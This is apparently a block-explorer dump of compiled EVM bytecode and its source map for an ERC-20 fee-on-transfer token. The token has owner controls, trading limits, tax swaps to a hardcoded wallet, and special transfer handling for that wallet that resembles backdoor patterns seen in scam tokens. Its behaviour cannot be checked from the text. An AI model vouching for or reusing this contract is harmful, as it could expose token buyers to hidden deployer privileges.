0x608060405260043610610134575f3560e01c806370a08231116100a85780638da5cb5b1161006d5780638da5cb5b1461035d5780638f9a55c01461037957806395d89b411461038e578063a9059cbb146103b7578063bf474bed146103d6578063dd62ed3e146103eb575f80fd5b806370a08231146102d8578063715018a61461030c578063751039fc146103205780637d1db4a5146103345780638a8c523c14610349575f80fd5b806318160ddd116100f957806318160ddd1461021f5780631fee58941461023357806323b872dd1461026b578063313ce5671461028a57806349bd5a5e146102a557806351bc3c85146102c4575f80fd5b806305977bc71461013f57806306fdde0314610155578063095ea7b3146101965780630faee56f146101c55780631694505e146101e8575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015361042f565b005b348015610160575f80fd5b506040805180820190915260078152662134b63634b7b760c91b60208201525b60405161018d91906115ba565b60405180910390f35b3480156101a1575f80fd5b506101b56101b0366004611603565b6104b6565b604051901515815260200161018d565b3480156101d0575f80fd5b506101da600f5481565b60405190815260200161018d565b3480156101f3575f80fd5b50601054610207906001600160a01b031681565b6040516001600160a01b03909116815260200161018d565b34801561022a575f80fd5b506101da6104cc565b34801561023e575f80fd5b5060045460055460065460075460408051948552602085019390935291830152606082015260800161018d565b348015610276575f80fd5b506101b561028536600461162d565b6104ec565b348015610295575f80fd5b506040516009815260200161018d565b3480156102b0575f80fd5b50601154610207906001600160a01b031681565b3480156102cf575f80fd5b50610153610553565b3480156102e3575f80fd5b506101da6102f236600461166b565b6001600160a01b03165f9081526001602052604090205490565b348015610317575f80fd5b506101536105b9565b34801561032b575f80fd5b5061015361062a565b34801561033f575f80fd5b506101da600c5481565b348015610354575f80fd5b506101536106db565b348015610368575f80fd5b505f546001600160a01b0316610207565b348015610384575f80fd5b506101da600d5481565b348015610399575f80fd5b506040805180820190915260018152602160f91b6020820152610180565b3480156103c2575f80fd5b506101b56103d1366004611603565b6108fb565b3480156103e1575f80fd5b506101da600e5481565b3480156103f6575f80fd5b506101da610405366004611686565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146104615760405162461bcd60e51b8152600401610458906116bd565b60405180910390fd5b6040516001600160a01b037f000000000000000000000000cb069259d4d63fe5b7d7b737b94d207eb1ca60c016904780156108fc02915f818181858888f193505050501580156104b3573d5f803e3d5ffd5b50565b5f6104c2338484610907565b5060015b92915050565b5f6104d96009600a6117e6565b6104e790633b9aca006117f4565b905090565b5f6104f8848484610a2b565b610549843361054485604051806060016040528060288152602001611953602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fcb565b610907565b5060019392505050565b337f000000000000000000000000cb069259d4d63fe5b7d7b737b94d207eb1ca60c06001600160a01b031614610587575f80fd5b305f9081526001602052604090205480156105a5576105a581611003565b4780156105b5576105b581611173565b5050565b5f546001600160a01b031633146105e25760405162461bcd60e51b8152600401610458906116bd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106535760405162461bcd60e51b8152600401610458906116bd565b61065f6009600a6117e6565b61066d90633b9aca006117f4565b600c5561067c6009600a6117e6565b61068a90633b9aca006117f4565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106ba6009600a6117e6565b6106c890633b9aca006117f4565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107045760405162461bcd60e51b8152600401610458906116bd565b601154600160a01b900460ff161561075e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610458565b60105461078a9030906001600160a01b031661077c6009600a6117e6565b61054490633b9aca006117f4565b6011805460ff60a01b1916600160a01b1790556010546001600160a01b031663f305d71947306107ce816001600160a01b03165f9081526001602052604090205490565b5f806107e15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610847573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061086c919061180b565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e59190611836565b506011805460ff60b01b1916600160b01b179055565b5f6104c2338484610a2b565b6001600160a01b0383166109695760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b0382166109ca5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610458565b6001600160a01b038216610af15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610458565b5f8111610b525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610458565b601154600160a01b900460ff161580610b745750601154600160a81b900460ff165b15610b8957610b848383836111c6565b505050565b5f80546001600160a01b03858116911614801590610bb457505f546001600160a01b03848116911614155b8015610bf257507f000000000000000000000000cb069259d4d63fe5b7d7b737b94d207eb1ca60c06001600160a01b0316836001600160a01b031614155b15610e4b57610c236064610c1d600854600b5411610c1257600454610c16565b6006545b8590611269565b906112ee565b6011549091506001600160a01b038581169116148015610c5157506010546001600160a01b03848116911614155b8015610c7557506001600160a01b0383165f9081526003602052604090205460ff16155b15610d5b57600c54821115610ccc5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610458565b600d5482610cee856001600160a01b03165f9081526001602052604090205490565b610cf89190611855565b1115610d465760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610458565b600b8054905f610d5583611868565b91905055505b6011546001600160a01b038481169116148015610d8157506001600160a01b0384163014155b15610dae57610dab6064610c1d600954600b5411610da157600554610c16565b6007548590611269565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610de457506011546001600160a01b038581169116145b8015610df95750601154600160b01b900460ff165b8015610e065750600e5481115b8015610e155750600a54600b54115b15610e4957610e37610e3284610e2d84600f5461132f565b61132f565b611003565b478015610e4757610e4747611173565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610e8857506001600160a01b0383165f9081526003602052604090205460ff165b8015610e9d57506001600160a01b0384163014155b8015610eb257506001600160a01b0383163014155b15610ebc57436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610efc57506001600160a01b0383165f9081526003602052604090205460ff16155b15610fb9576011546001600160a01b03848116911614610f86576001600160a01b038084165f9081526012602052604090206011549091868116911603610f4e5780545f03610f49574381555b610f80565b6001600160a01b0385165f90815260126020526040902081541580610f74575081548154105b15610f7e57805482555b505b50610fb9565b6001600160a01b0384165f9081526012602052604090206014548154610fac9190611880565b6002820155426001909101555b610fc584848484611343565b50505050565b5f8184841115610fee5760405162461bcd60e51b815260040161045891906115ba565b505f610ffa8486611880565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061104957611049611893565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110c491906118a7565b816001815181106110d7576110d7611893565b6001600160a01b0392831660209182029290920101526010546110fd9130911684610907565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906111359085905f908690309042906004016118c2565b5f604051808303815f87803b15801561114c575f80fd5b505af115801561115e573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6040516001600160a01b037f000000000000000000000000cb069259d4d63fe5b7d7b737b94d207eb1ca60c0169082156108fc029083905f818181858888f193505050501580156105b5573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546111e8908261136d565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461121690826113ae565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a1e9085815260200190565b5f825f0361127857505f6104c6565b5f61128383856117f4565b9050826112908583611933565b146112e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610458565b9392505050565b5f6112e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140c565b5f81831161133d57826112e7565b50919050565b5f61134f858484611438565b9050611366858583611361878761136d565b611509565b5050505050565b5f6112e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fcb565b5f806113ba8385611855565b9050838110156112e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610458565b5f818361142c5760405162461bcd60e51b815260040161045891906115ba565b505f610ffa8486611933565b5f807f000000000000000000000000cb069259d4d63fe5b7d7b737b94d207eb1ca60c06001600160a01b0316856001600160a01b031603611485576013546114809085611269565b611487565b835b9050821561150157305f908152600160205260409020546114a890846113ae565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114f89087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461152b908361136d565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461155990826113ae565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115ac9085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104b3575f80fd5b5f8060408385031215611614575f80fd5b823561161f816115ef565b946020939093013593505050565b5f805f6060848603121561163f575f80fd5b833561164a816115ef565b9250602084013561165a816115ef565b929592945050506040919091013590565b5f6020828403121561167b575f80fd5b81356112e7816115ef565b5f8060408385031215611697575f80fd5b82356116a2816115ef565b915060208301356116b2816115ef565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174057815f1904821115611726576117266116f2565b8085161561173357918102915b93841c939080029061170b565b509250929050565b5f82611756575060016104c6565b8161176257505f6104c6565b816001811461177857600281146117825761179e565b60019150506104c6565b60ff841115611793576117936116f2565b50506001821b6104c6565b5060208310610133831016604e8410600b84101617156117c1575081810a6104c6565b6117cb8383611706565b805f19048211156117de576117de6116f2565b029392505050565b5f6112e760ff841683611748565b80820281158282048414176104c6576104c66116f2565b5f805f6060848603121561181d575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611846575f80fd5b815180151581146112e7575f80fd5b808201808211156104c6576104c66116f2565b5f60018201611879576118796116f2565b5060010190565b818103818111156104c6576104c66116f2565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156118b7575f80fd5b81516112e7816115ef565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119125784516001600160a01b0316835293830193918301916001016118ed565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261194d57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a80b2429fbfc320250976bd58b9581779325273cace2dd763801c99713b3c99164736f6c63430008190033

Deployed Bytecode Sourcemap

3565:10366:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12333:100;;;;;;;;;;;;;:::i;:::-;;5818:83;;;;;;;;;;-1:-1:-1;5888:5:0;;;;;;;;;;;;-1:-1:-1;;;5888:5:0;;;;5818:83;;;;;;;:::i;:::-;;;;;;;;6651:161;;;;;;;;;;-1:-1:-1;6651:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6651:161:0;893:187:1;4614:52:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4614:52:0;1085:177:1;4679:41:0;;;;;;;;;;-1:-1:-1;4679:41:0;;;;-1:-1:-1;;;;;4679:41:0;;;;;;-1:-1:-1;;;;;1457:32:1;;;1439:51;;1427:2;1412:18;4679:41:0;1267:229:1;6095:95:0;;;;;;;;;;;;;:::i;12712:358::-;;;;;;;;;;-1:-1:-1;12936:14:0;;12969:15;;13003:12;;13034:13;;12712:358;;;1732:25:1;;;1788:2;1773:18;;1766:34;;;;1816:18;;;1809:34;1874:2;1859:18;;1852:34;1719:3;1704:19;12712:358:0;1501:391:1;6820:311:0;;;;;;;;;;-1:-1:-1;6820:311:0;;;;;:::i;:::-;;:::i;6004:83::-;;;;;;;;;;-1:-1:-1;6004:83:0;;4242:1;2500:36:1;;2488:2;2473:18;6004:83:0;2358:184:1;4727:28:0;;;;;;;;;;-1:-1:-1;4727:28:0;;;;-1:-1:-1;;;;;4727:28:0;;;13580:348;;;;;;;;;;;;;:::i;6198:119::-;;;;;;;;;;-1:-1:-1;6198:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6291:18:0;6264:7;6291:18;;;:9;:18;;;;;;;6198:119;2614:148;;;;;;;;;;;;;:::i;12443:161::-;;;;;;;;;;;;;:::i;4424:54::-;;;;;;;;;;;;;;;;13078:457;;;;;;;;;;;;;:::i;2401:79::-;;;;;;;;;;-1:-1:-1;2439:7:0;2466:6;-1:-1:-1;;;;;2466:6:0;2401:79;;4485:56;;;;;;;;;;;;;;;;5909:87;;;;;;;;;;-1:-1:-1;5981:7:0;;;;;;;;;;;;-1:-1:-1;;;5981:7:0;;;;5909:87;;6325:167;;;;;;;;;;-1:-1:-1;6325:167:0;;;;;:::i;:::-;;:::i;4548:59::-;;;;;;;;;;;;;;;;6500:143;;;;;;;;;;-1:-1:-1;6500:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6608:18:0;;;6581:7;6608:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6500:143;12333:100;2528:6;;-1:-1:-1;;;;;2528:6:0;187:10;2528:22;2520:66;;;;-1:-1:-1;;;2520:66:0;;;;;;;:::i;:::-;;;;;;;;;12383:42:::1;::::0;-1:-1:-1;;;;;12383:10:0::1;:19;::::0;12403:21:::1;12383:42:::0;::::1;;;::::0;::::1;::::0;;;12403:21;12383:19;:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12333:100::o:0;6651:161::-;6726:4;6743:39;187:10;6766:7;6775:6;6743:8;:39::i;:::-;-1:-1:-1;6800:4:0;6651:161;;;;;:::o;6095:95::-;6148:7;4298:13;4242:1;4298:2;:13;:::i;:::-;4285:26;;:10;:26;:::i;:::-;6168:14;;6095:95;:::o;6820:311::-;6918:4;6935:36;6945:6;6953:9;6964:6;6935:9;:36::i;:::-;6982:119;6991:6;187:10;7011:89;7049:6;7011:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7011:19:0;;;;;;:11;:19;;;;;;;;187:10;7011:33;;;;;;;;;;:37;:89::i;:::-;6982:8;:119::i;:::-;-1:-1:-1;7119:4:0;6820:311;;;;;:::o;13580:348::-;187:10;13644;-1:-1:-1;;;;;13630:24:0;;13622:33;;;;;;13705:4;13666:20;6291:18;;;:9;:18;;;;;;13725:14;;13722:73;;13753:30;13770:12;13753:16;:30::i;:::-;13824:21;13859:12;;13856:65;;13885:24;13898:10;13885:12;:24::i;:::-;13611:317;;13580:348::o;2614:148::-;2528:6;;-1:-1:-1;;;;;2528:6:0;187:10;2528:22;2520:66;;;;-1:-1:-1;;;2520:66:0;;;;;;;:::i;:::-;2721:1:::1;2705:6:::0;;2684:40:::1;::::0;-1:-1:-1;;;;;2705:6:0;;::::1;::::0;2684:40:::1;::::0;2721:1;;2684:40:::1;2752:1;2735:19:::0;;-1:-1:-1;;;;;;2735:19:0::1;::::0;;2614:148::o;12443:161::-;2528:6;;-1:-1:-1;;;;;2528:6:0;187:10;2528:22;2520:66;;;;-1:-1:-1;;;2520:66:0;;;;;;;:::i;:::-;4298:13:::1;4242:1;4298:2;:13;:::i;:::-;4285:26;::::0;:10:::1;:26;:::i;:::-;12496:12;:21:::0;4298:13:::1;4242:1;4298:2;:13;:::i;:::-;4285:26;::::0;:10:::1;:26;:::i;:::-;12528:14;:23:::0;12569:27:::1;4298:13;4242:1;4298:2;:13;:::i;:::-;4285:26;::::0;:10:::1;:26;:::i;:::-;12569:27;::::0;1231:25:1;;;1219:2;1204:18;12569:27:0::1;;;;;;;12443:161::o:0;13078:457::-;2528:6;;-1:-1:-1;;;;;2528:6:0;187:10;2528:22;2520:66;;;;-1:-1:-1;;;2520:66:0;;;;;;;:::i;:::-;13144:11:::1;::::0;-1:-1:-1;;;13144:11:0;::::1;;;13143:12;13135:47;;;::::0;-1:-1:-1;;;13135:47:0;;5645:2:1;13135:47:0::1;::::0;::::1;5627:21:1::0;5684:2;5664:18;;;5657:30;5723:25;5703:18;;;5696:53;5766:18;;13135:47:0::1;5443:347:1::0;13135:47:0::1;13225:15;::::0;13193:58:::1;::::0;13210:4:::1;::::0;-1:-1:-1;;;;;13225:15:0::1;4298:13;4242:1;4298:2;:13;:::i;:::-;4285:26;::::0;:10:::1;:26;:::i;13193:58::-;13262:11;:16:::0;;-1:-1:-1;;;;13262:16:0::1;-1:-1:-1::0;;;13262:16:0::1;::::0;;13289:15:::1;::::0;-1:-1:-1;;;;;13289:15:0::1;:31;13328:21;13359:4;13365:24;13359:4:::0;-1:-1:-1;;;;;6291:18:0;6264:7;6291:18;;;:9;:18;;;;;;;6198:119;13365:24:::1;13390:1;13392::::0;13394:7:::1;2439::::0;2466:6;-1:-1:-1;;;;;2466:6:0;;2401:79;13394:7:::1;13289:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13289:129:0;;;-1:-1:-1;;;;;6154:15:1;;;13289:129:0::1;::::0;::::1;6136:34:1::0;6186:18;;;6179:34;;;;6229:18;;;6222:34;;;;6272:18;;;6265:34;6336:15;;;6315:19;;;6308:44;13402:15:0::1;6368:19:1::0;;;6361:35;6070:19;;13289:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13436:13:0::1;::::0;13467:15:::1;::::0;13429:71:::1;::::0;-1:-1:-1;;;13429:71:0;;-1:-1:-1;;;;;13467:15:0;;::::1;13429:71;::::0;::::1;6892:51:1::0;-1:-1:-1;;6959:18:1;;;6952:34;13436:13:0;::::1;::::0;-1:-1:-1;13429:29:0::1;::::0;6865:18:1;;13429:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13511:11:0::1;:16:::0;;-1:-1:-1;;;;13511:16:0::1;-1:-1:-1::0;;;13511:16:0::1;::::0;;13078:457::o;6325:167::-;6403:4;6420:42;187:10;6444:9;6455:6;6420:9;:42::i;7139:335::-;-1:-1:-1;;;;;7232:19:0;;7224:68;;;;-1:-1:-1;;;7224:68:0;;7481:2:1;7224:68:0;;;7463:21:1;7520:2;7500:18;;;7493:30;7559:34;7539:18;;;7532:62;-1:-1:-1;;;7610:18:1;;;7603:34;7654:19;;7224:68:0;7279:400:1;7224:68:0;-1:-1:-1;;;;;7311:21:0;;7303:68;;;;-1:-1:-1;;;7303:68:0;;7886:2:1;7303:68:0;;;7868:21:1;7925:2;7905:18;;;7898:30;7964:34;7944:18;;;7937:62;-1:-1:-1;;;8015:18:1;;;8008:32;8057:19;;7303:68:0;7684:398:1;7303:68:0;-1:-1:-1;;;;;7382:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7434:32;;1231:25:1;;;7434:32:0;;1204:18:1;7434:32:0;;;;;;;;7139:335;;;:::o;7746:2917::-;-1:-1:-1;;;;;7839:18:0;;7831:68;;;;-1:-1:-1;;;7831:68:0;;8289:2:1;7831:68:0;;;8271:21:1;8328:2;8308:18;;;8301:30;8367:34;8347:18;;;8340:62;-1:-1:-1;;;8418:18:1;;;8411:35;8463:19;;7831:68:0;8087:401:1;7831:68:0;-1:-1:-1;;;;;7918:16:0;;7910:64;;;;-1:-1:-1;;;7910:64:0;;8695:2:1;7910:64:0;;;8677:21:1;8734:2;8714:18;;;8707:30;8773:34;8753:18;;;8746:62;-1:-1:-1;;;8824:18:1;;;8817:33;8867:19;;7910:64:0;8493:399:1;7910:64:0;8007:1;7995:11;:13;7987:67;;;;-1:-1:-1;;;7987:67:0;;9099:2:1;7987:67:0;;;9081:21:1;9138:2;9118:18;;;9111:30;9177:34;9157:18;;;9150:62;-1:-1:-1;;;9228:18:1;;;9221:39;9277:19;;7987:67:0;8897:405:1;7987:67:0;8072:11;;-1:-1:-1;;;8072:11:0;;;;8071:12;;:22;;-1:-1:-1;8087:6:0;;-1:-1:-1;;;8087:6:0;;;;8071:22;8067:117;;;8109:42;8129:4;8135:2;8139:11;8109:19;:42::i;:::-;7746:2917;;;:::o;8067:117::-;8196:17;2466:6;;-1:-1:-1;;;;;8230:15:0;;;2466:6;;8230:15;;;;:32;;-1:-1:-1;2439:7:0;2466:6;-1:-1:-1;;;;;8249:13:0;;;2466:6;;8249:13;;8230:32;:52;;;;;8272:10;-1:-1:-1;;;;;8266:16:0;:2;-1:-1:-1;;;;;8266:16:0;;;8230:52;8226:1222;;;8311:81;8388:3;8311:72;8338:15;;8328:9;;:25;8327:55;;8368:14;;8327:55;;;8355:12;;8327:55;8311:11;;:15;:72::i;:::-;:76;;:81::i;:::-;8421:13;;8299:93;;-1:-1:-1;;;;;;8413:21:0;;;8421:13;;8413:21;:55;;;;-1:-1:-1;8452:15:0;;-1:-1:-1;;;;;8438:30:0;;;8452:15;;8438:30;;8413:55;:84;;;;-1:-1:-1;;;;;;8475:22:0;;;;;;:18;:22;;;;;;;;8473:24;8413:84;8409:322;;;8541:12;;8526:11;:27;;8518:65;;;;-1:-1:-1;;;8518:65:0;;9509:2:1;8518:65:0;;;9491:21:1;9548:2;9528:18;;;9521:30;9587:27;9567:18;;;9560:55;9632:18;;8518:65:0;9307:349:1;8518:65:0;8641:14;;8626:11;8610:13;8620:2;-1:-1:-1;;;;;6291:18:0;6264:7;6291:18;;;:9;:18;;;;;;;6198:119;8610:13;:27;;;;:::i;:::-;:45;;8602:83;;;;-1:-1:-1;;;8602:83:0;;9993:2:1;8602:83:0;;;9975:21:1;10032:2;10012:18;;;10005:30;10071:28;10051:18;;;10044:56;10117:18;;8602:83:0;9791:350:1;8602:83:0;8704:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8409:322;8755:13;;-1:-1:-1;;;;;8750:18:0;;;8755:13;;8750:18;:42;;;;-1:-1:-1;;;;;;8772:20:0;;8787:4;8772:20;;8750:42;8747:178;;;8825:84;8905:3;8825:75;8852:16;;8842:9;;:26;8841:58;;8884:15;;8841:58;;;8870:13;;8825:11;;:15;:75::i;:84::-;8813:96;;8747:178;8990:4;8941:28;6291:18;;;:9;:18;;;;;;9016:6;;-1:-1:-1;;;9016:6:0;;;;9015:7;:28;;;;-1:-1:-1;9030:13:0;;-1:-1:-1;;;;;9025:18:0;;;9030:13;;9025:18;9015:28;:43;;;;-1:-1:-1;9047:11:0;;-1:-1:-1;;;9047:11:0;;;;9015:43;:86;;;;;9084:17;;9062:20;:39;9015:86;:119;;;;;9116:18;;9105:9;;:29;9015:119;9011:426;;;9155:74;9172:56;9176:11;9189:38;9193:20;9215:11;;9189:3;:38::i;:::-;9172:3;:56::i;:::-;9155:16;:74::i;:::-;9277:21;9321;;9317:105;;9367:35;9380:21;9367:12;:35::i;:::-;9136:301;9011:426;8284:1164;8226:1222;-1:-1:-1;;;;;9465:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;9493:22:0;;;;;;:18;:22;;;;;;;;9465:50;9464:88;;;;-1:-1:-1;;;;;;9533:19:0;;9547:4;9533:19;;9464:88;:122;;;;-1:-1:-1;;;;;;9568:18:0;;9581:4;9568:18;;9464:122;9460:191;;;9627:12;9613;:26;9460:191;-1:-1:-1;;;;;9668:24:0;;;;;;:18;:24;;;;;;;;9667:25;:51;;;;-1:-1:-1;;;;;;9696:22:0;;;;;;:18;:22;;;;;;;;9695:23;9667:51;9663:934;;;9739:13;;-1:-1:-1;;;;;9739:19:0;;;:13;;:19;9735:851;;-1:-1:-1;;;;;9812:16:0;;;9780:29;9812:16;;;:12;:16;;;;;9851:13;;9812:16;;9851:21;;;:13;;:21;9847:477;;9901:16;;;:21;9897:108;;9969:12;9951:30;;9897:108;9847:477;;;-1:-1:-1;;;;;10093:18:0;;10053:37;10093:18;;;:12;:18;;;;;10140:16;;:20;;10138:70;;-1:-1:-1;10192:16:0;;10165:24;;:43;10138:70;10134:171;;;10257:24;;10238:43;;10134:171;10030:294;9847:477;9761:578;9735:851;;;-1:-1:-1;;;;;10404:18:0;;10364:37;10404:18;;;:12;:18;;;;;10495:12;;10470:24;;:37;;10495:12;10470:37;:::i;:::-;10441:26;;;:66;10555:15;10526:27;;;;:44;9735:851;10609:46;10624:4;10630:2;10633:11;10645:9;10609:14;:46::i;:::-;7820:2843;7746:2917;;;:::o;1278:190::-;1364:7;1400:12;1392:6;;;;1384:29;;;;-1:-1:-1;;;1384:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1424:9:0;1436:5;1440:1;1436;:5;:::i;:::-;1424:17;1278:190;-1:-1:-1;;;;;1278:190:0:o;11805:520::-;5163:6;:13;;-1:-1:-1;;;;5163:13:0;-1:-1:-1;;;5163:13:0;;;11907:16:::1;::::0;;11921:1:::1;11907:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11907:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11907:16:0::1;11883:40;;11952:4;11934;11939:1;11934:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11934:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11978:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11978:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11934:7;;11978:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11968:4;11973:1;11968:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11968:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12057:15:::1;::::0;12011:99:::1;::::0;12042:4:::1;::::0;12057:15:::1;12088:11:::0;12011:8:::1;:99::i;:::-;12121:15;::::0;:196:::1;::::0;-1:-1:-1;;;12121:196:0;;-1:-1:-1;;;;;12121:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12202:11;;12121:15:::1;::::0;12244:4;;12271::::1;::::0;12291:15:::1;::::0;12121:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5199:6:0;:14;;-1:-1:-1;;;;5199:14:0;;;-1:-1:-1;;;;11805:520:0:o;12612:92::-;12669:27;;-1:-1:-1;;;;;12669:10:0;:19;;:27;;;;;12689:6;;12669:27;;;;12689:6;12669:19;:27;;;;;;;;;;;;;;;;;;;7482:256;-1:-1:-1;;;;;7595:15:0;;;;;;:9;:15;;;;;;:32;;7615:11;7595:19;:32::i;:::-;-1:-1:-1;;;;;7578:15:0;;;;;;;:9;:15;;;;;;:49;;;;7654:13;;;;;;;:30;;7672:11;7654:17;:30::i;:::-;-1:-1:-1;;;;;7638:13:0;;;;;;;:9;:13;;;;;;;:46;;;;7700:30;;;;;;;;;;7718:11;1231:25:1;;1219:2;1204:18;;1085:177;1476:246:0;1534:7;1558:1;1563;1558:6;1554:47;;-1:-1:-1;1588:1:0;1581:8;;1554:47;1611:9;1623:5;1627:1;1623;:5;:::i;:::-;1611:17;-1:-1:-1;1656:1:0;1647:5;1651:1;1611:17;1647:5;:::i;:::-;:10;1639:56;;;;-1:-1:-1;;;1639:56:0;;12348:2:1;1639:56:0;;;12330:21:1;12387:2;12367:18;;;12360:30;12426:34;12406:18;;;12399:62;-1:-1:-1;;;12477:18:1;;;12470:31;12518:19;;1639:56:0;12146:397:1;1639:56:0;1713:1;1476:246;-1:-1:-1;;;1476:246:0:o;1730:132::-;1788:7;1815:39;1819:1;1822;1815:39;;;;;;;;;;;;;;;;;:3;:39::i;11699:98::-;11756:7;11783:1;11781;:3;11780:9;;11788:1;11780:9;;;-1:-1:-1;11786:1:0;11699:98;-1:-1:-1;11699:98:0:o;10671:280::-;10804:15;10820:46;10838:4;10843:11;10856:9;10820:17;:46::i;:::-;10804:62;-1:-1:-1;10877:66:0;10897:4;10903:2;10804:62;10916:26;:11;10932:9;10916:15;:26::i;:::-;10877:19;:66::i;:::-;10793:158;10671:280;;;;:::o;1134:136::-;1192:7;1219:43;1223:1;1226;1219:43;;;;;;;;;;;;;;;;;